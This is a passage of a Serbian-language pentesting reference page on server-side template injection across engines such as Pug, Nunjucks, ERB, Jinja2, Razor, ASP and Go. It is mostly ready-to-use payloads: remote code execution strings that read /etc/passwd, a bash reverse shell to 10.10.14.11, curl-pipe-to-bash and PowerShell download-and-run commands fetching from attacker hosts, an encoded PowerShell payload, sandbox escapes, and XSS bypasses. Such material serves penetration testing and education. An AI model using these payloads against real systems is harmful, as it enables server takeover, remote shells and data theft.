| | Evaluiraj i prikaži HTML kodiran izlaz |
| | Komentar |
| i | Dozvoli kod (onemogućeno po defaultu) |
- \= 49
**Klijentska strana**
```python
{{:%22test%22.toString.constructor.call({},%22alert(%27xss%27)%22)()}}
```
**Server Side**
```bash
{{:"pwnd".toString.constructor.call({},"return global.process.mainModule.constructor._load('child_process').execSync('cat /etc/passwd').toString()")()}}
```
**Više informacija**
- [https://appcheck-ng.com/template-injection-jsrender-jsviews/](https://appcheck-ng.com/template-injection-jsrender-jsviews/)
### PugJs (NodeJS)
- `#{7*7} = 49`
- `#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('touch /tmp/pwned.txt')}()}`
- `#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('curl 10.10.14.3:8001/s.sh | bash')}()}`
**Primer renderovanja sa servera**
```javascript
var pugjs = require("pug")
home = pugjs.render(injected_page)
```
**Više informacija**
- [https://licenciaparahackear.github.io/en/posts/bypassing-a-restrictive-js-sandbox/](https://licenciaparahackear.github.io/en/posts/bypassing-a-restrictive-js-sandbox/)
### NUNJUCKS (NodeJS) <a href="#nunjucks" id="nunjucks"></a>
- \{{7\*7\}} = 49
- \{{foo\}} = Nema izlaza
- \#{7\*7} = #{7\*7}
- \{{console.log(1)\}} = Greška
```javascript
{
{
range.constructor(
"return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')"
)()
}
}
{
{
range.constructor(
"return global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/10.10.14.11/6767 0>&1\"')"
)()
}
}
```
**Više informacija**
- [http://disse.cting.org/2016/08/02/2016-08-02-sandbox-break-out-nunjucks-template-engine](http://disse.cting.org/2016/08/02/2016-08-02-sandbox-break-out-nunjucks-template-engine)
### Ostali NodeJS
<figure><img src="../../images/image (1) (1).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:640/format:webp/1*J4gQBzN8Gbj0CkgSLLhigQ.jpeg">https://miro.medium.com/v2/resize:fit:640/format:webp/1*J4gQBzN8Gbj0CkgSLLhigQ.jpeg</a></p></figcaption></figure>
<figure><img src="../../images/image (1) (1) (1).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:640/format:webp/1*jj_-oBi3gZ6UNTvkBogA6Q.jpeg">https://miro.medium.com/v2/resize:fit:640/format:webp/1*jj_-oBi3gZ6UNTvkBogA6Q.jpeg</a></p></figcaption></figure>
- Više informacija na [https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756)
### ERB (Ruby)
- `{{7*7}} = {{7*7}}`
- `${7*7} = ${7*7}`
- `<%= 7*7 %> = 49`
- `<%= foobar %> = Greška`
```python
<%= system("whoami") %> #Execute code
<%= Dir.entries('/') %> #List folder
<%= File.open('/etc/passwd').read %> #Read file
<%= system('cat /etc/passwd') %>
<%= `ls /` %>
<%= IO.popen('ls /').readlines() %>
<% require 'open3' %><% @a,@b,@c,@d=Open3.popen3('whoami') %><%= @b.readline()%>
<% require 'open4' %><% @a,@b,@c,@d=Open4.popen4('whoami') %><%= @c.readline()%>
```
**Više informacija**
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#ruby](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#ruby)
### Slim (Ruby)
- `{ 7 * 7 }`
```
{ %x|env| }
```
**Više informacija**
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#ruby](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#ruby)
### Drugi Ruby
<figure><img src="../../images/image (4).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:640/format:webp/1*VeZvEGI6rBP_tH-V0TqAjQ.jpeg">https://miro.medium.com/v2/resize:fit:640/format:webp/1*VeZvEGI6rBP_tH-V0TqAjQ.jpeg</a></p></figcaption></figure>
<figure><img src="../../images/image (5).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:640/format:webp/1*m-iSloHPqRUriLOjpqpDgg.jpeg">https://miro.medium.com/v2/resize:fit:640/format:webp/1*m-iSloHPqRUriLOjpqpDgg.jpeg</a></p></figcaption></figure>
- Više informacija na [https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756)
### Python
Pogledajte sledeću stranicu da biste naučili trikove o **zaobilaženju izvršavanja proizvoljnih komandi u sandboxes** u pythonu:
{{#ref}}
../../generic-methodologies-and-resources/python/bypass-python-sandboxes/
{{#endref}}
### Tornado (Python)
- `{{7*7}} = 49`
- `${7*7} = ${7*7}`
- `{{foobar}} = Greška`
- `{{7*'7'}} = 7777777`
```python
{% raw %}
{% import foobar %} = Error
{% import os %}
{% import os %}
{% endraw %}
{{os.system('whoami')}}
{{os.system('whoami')}}
```
**Više informacija**
- [https://ajinabraham.com/blog/server-side-template-injection-in-tornado](https://ajinabraham.com/blog/server-side-template-injection-in-tornado)
### Jinja2 (Python)
[Zvanična stranica](http://jinja.pocoo.org)
> Jinja2 je potpuno opremljen engine za šablone za Python. Ima punu podršku za unicode, opcioni integrisani sandbox okruženje za izvršavanje, široko korišćen i licenciran pod BSD.
- `{{7*7}} = Greška`
- `${7*7} = ${7*7}`
- `{{foobar}} Ništa`
- `{{4*4}}[[5*5]]`
- `{{7*'7'}} = 7777777`
- `{{config}}`
- `{{config.items()}}`
- `{{settings.SECRET_KEY}}`
- `{{settings}}`
- `<div data-gb-custom-block data-tag="debug"></div>`
```python
{% raw %}
{% debug %}
{% endraw %}
{{settings.SECRET_KEY}}
{{4*4}}[[5*5]]
{{7*'7'}} would result in 7777777
```
**Jinja2 - Format šablona**
```python
{% raw %}
{% extends "layout.html" %}
{% block body %}
<ul>
{% for user in users %}
<li><a href="{{ user.url }}">{{ user.username }}</a></li>
{% endfor %}
</ul>
{% endblock %}
{% endraw %}
```
[**RCE nije zavistan od**](https://podalirius.net/en/articles/python-vulnerabilities-code-execution-in-jinja-templates/) `__builtins__`:
```python
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.namespace.__init__.__globals__.os.popen('id').read() }}
# Or in the shotest versions:
{{ cycler.__init__.__globals__.os.popen('id').read() }}
{{ joiner.__init__.__globals__.os.popen('id').read() }}
{{ namespace.__init__.__globals__.os.popen('id').read() }}
```
**Više detalja o tome kako zloupotrebiti Jinja**:
{{#ref}}
jinja2-ssti.md
{{#endref}}
Ostali payloadi u [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2)
### Mako (Python)
```python
<%
import os
x=os.popen('id').read()
%>
${x}
```
**Više informacija**
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#mako](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#mako)
### Ostali Python
<figure><img src="../../images/image (2) (1).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:640/format:webp/1*3RO051EgizbEer-mdHD8Kg.jpeg">https://miro.medium.com/v2/resize:fit:640/format:webp/1*3RO051EgizbEer-mdHD8Kg.jpeg</a></p></figcaption></figure>
<figure><img src="../../images/image (3) (1).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:640/format:webp/1*GY1Tij_oecuDt4EqINNAwg.jpeg">https://miro.medium.com/v2/resize:fit:640/format:webp/1*GY1Tij_oecuDt4EqINNAwg.jpeg</a></p></figcaption></figure>
- Više informacija na [https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756)
### Razor (.Net)
- `@(2+2) <= Success`
- `@() <= Success`
- `@("{{code}}") <= Success`
- `@ <=Success`
- `@{} <= ERROR!`
- `@{ <= ERRROR!`
- `@(1+2)`
- `@( //C#Code )`
- `@System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");`
- `@System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AMQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGEAcwBrAHMAXAB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlAA==");`
Metoda .NET `System.Diagnostics.Process.Start` može se koristiti za pokretanje bilo kog procesa na serveru i tako kreirati webshell. Možete pronaći primer ranjive web aplikacije na [https://github.com/cnotin/RazorVulnerableApp](https://github.com/cnotin/RazorVulnerableApp)
**Više informacija**
- [https://clement.notin.org/blog/2020/04/15/Server-Side-Template-Injection-(SSTI)-in-ASP.NET-Razor/](<https://clement.notin.org/blog/2020/04/15/Server-Side-Template-Injection-(SSTI)-in-ASP.NET-Razor/>)
- [https://www.schtech.co.uk/razor-pages-ssti-rce/](https://www.schtech.co.uk/razor-pages-ssti-rce/)
### ASP
- `<%= 7*7 %>` = 49
- `<%= "foo" %>` = foo
- `<%= foo %>` = Nothing
- `<%= response.write(date()) %>` = \<Date>
```xml
<%= CreateObject("Wscript.Shell").exec("powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.11:8000/shell.ps1')").StdOut.ReadAll() %>
```
**Više informacija**
- [https://www.w3schools.com/asp/asp_examples.asp](https://www.w3schools.com/asp/asp_examples.asp)
### .Net zaobilaženje ograničenja
.NET Reflection mehanizmi se mogu koristiti za zaobilaženje crnih lista ili klasa koje nisu prisutne u sklopu. DLL-ovi se mogu učitati u vreme izvođenja sa metodama i svojstvima dostupnim iz osnovnih objekata.
Dll-ovi se mogu učitati sa:
- `{"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("LoadFile").Invoke(null, "/path/to/System.Diagnostics.Process.dll".Split("?"))}` - iz datotečnog sistema.
- `{"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("Load", [typeof(byte[])]).Invoke(null, [Convert.FromBase64String("Base64EncodedDll")])}` - direktno iz zahteva.
Potpuna izvršna komanda:
```
{"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("LoadFile").Invoke(null, "/path/to/System.Diagnostics.Process.dll".Split("?")).GetType("System.Diagnostics.Process").GetMethods().GetValue(0).Invoke(null, "/bin/bash,-c ""whoami""".Split(","))}
```
**Više informacija**
- [https://efigo.pl/en/blog/cve-2024-9150/](https://efigo.pl/en/blog/cve-2024-9150/)
### Mojolicious (Perl)
Čak i ako je to perl, koristi oznake poput ERB u Ruby-ju.
- `<%= 7*7 %> = 49`
- `<%= foobar %> = Error`
```
<%= perl code %>
<% perl code %>
```
### SSTI u GO
U Go-ovom engine-u za šablone, potvrda njegove upotrebe može se izvršiti sa specifičnim payload-ima:
- `{{ . }}`: Otkrije strukturu podataka koja je prosleđena. Na primer, ako je objekat sa atributom `Password` prosleđen, `{{ .Password }}` bi mogao da ga otkrije.
- `{{printf "%s" "ssti" }}`: Očekuje se da prikaže string "ssti".
- `{{html "ssti"}}`, `{{js "ssti"}}`: Ovi payload-ovi bi trebali da vrate "ssti" bez dodavanja "html" ili "js". Dalje direktive mogu se istražiti u Go dokumentaciji [ovde](https://golang.org/pkg/text/template).
<figure><img src="../../images/image (8).png" alt="" width="375"><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*rWpWndkQ7R6FycrgZm4h2A.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*rWpWndkQ7R6FycrgZm4h2A.jpeg</a></p></figcaption></figure>
**XSS Eksploatacija**
Sa paketom `text/template`, XSS može biti jednostavan direktnim umetanjem payload-a. Nasuprot tome, paket `html/template` kodira odgovor kako bi to sprečio (npr., `{{"<script>alert(1)</script>"}}` rezultira u `&lt;script&gt;alert(1)&lt;/script&gt;`). Ipak, definicija i pozivanje šablona u Go-u mogu zaobići ovo kodiranje: \{{define "T1"\}}alert(1)\{{end\}} \{{template "T1"\}}
vbnet Copy code
**RCE Eksploatacija**
RCE eksploatacija se značajno razlikuje između `html/template` i `text/template`. Modul `text/template` omogućava direktno pozivanje bilo koje javne funkcije (koristeći vrednost “call”), što nije dozvoljeno u `html/template`. Dokumentacija za ove module je dostupna [ovde za html/template](https://golang.org/pkg/html/template/) i [ovde za text/template](https://golang.org/pkg/text/template/).
Za RCE putem SSTI u Go-u, mogu se pozvati metode objekta. Na primer, ako prosleđeni objekat ima metodu `System` koja izvršava komande, može se iskoristiti kao `{{ .System "ls" }}`. Pristup izvoru koda je obično neophodan za eksploataciju ovoga, kao u datom primeru:
```go
func (p Person) Secret (test string) string {
out, _ := exec.Command(test).CombinedOutput()
return string(out)
}
```
**Više informacija**
- [https://blog.takemyhand.xyz/2020/06/ssti-breaking-gos-template-engine-to](https://blog.takemyhand.xyz/2020/06/ssti-breaking-gos-template-engine-to)
- [https://www.onsecurity.io/blog/go-ssti-method-research/](https://www.onsecurity.io/blog/go-ssti-method-research/)
### Više Eksploata
Proverite ostatak [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection) za više eksploata. Takođe možete pronaći zanimljive informacije o tagovima u [https://github.com/DiogoMRSilva/websitesVulnerableToSSTI](https://github.com/DiogoMRSilva/websitesVulnerableToSSTI)
## BlackHat PDF
{{#file}}
EN-Server-Side-Template-Injection-RCE-For-The-Modern-Web-App-BlackHat-15 (1).pdf
{{#endfile}}
## Povezana Pomoć
Ako mislite da bi moglo biti korisno, pročitajte:
- [Flask trikovi](../../network-services-pentesting/pentesting-web/flask.md)
- [Python magične funkcije](https://github.com/carlospolop/hacktricks/blob/master/pentesting-web/ssti-server-side-template-injection/broken-reference/README.md)
## Alati
- [https://github.com/Hackmanit/TInjA](https://github.com/Hackmanit/TInjA)
- [https://github.com/vladko312/sstimap](https://github.com/vladko312/sstimap)
- [https://github.com/epinna/tplmap](https://github.com/epinna/tplmap)
- [https://github.com/Hackmanit/template-injection-table](https://github.com/Hackmanit/template-injection-table)
## Lista za Detekciju Brute-Force
{{#ref}}
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt
{{#endref}}
## Vežba & Reference
- [https://portswigger.net/web-security/server-side-template-injection/exploiting](https://portswigger.net/web-security/server-side-template-injection/exploiting)
- [https://github.com/DiogoMRSilva/websitesVulnerableToSSTI](https://github.com/DiogoMRSilva/websitesVulnerableToSSTI)
- [https://portswigger.net/web-security/server-side-template-injection](https://portswigger.net/web-security/server-side-template-injection)
{{#include ../../banners/hacktricks-training.md}}
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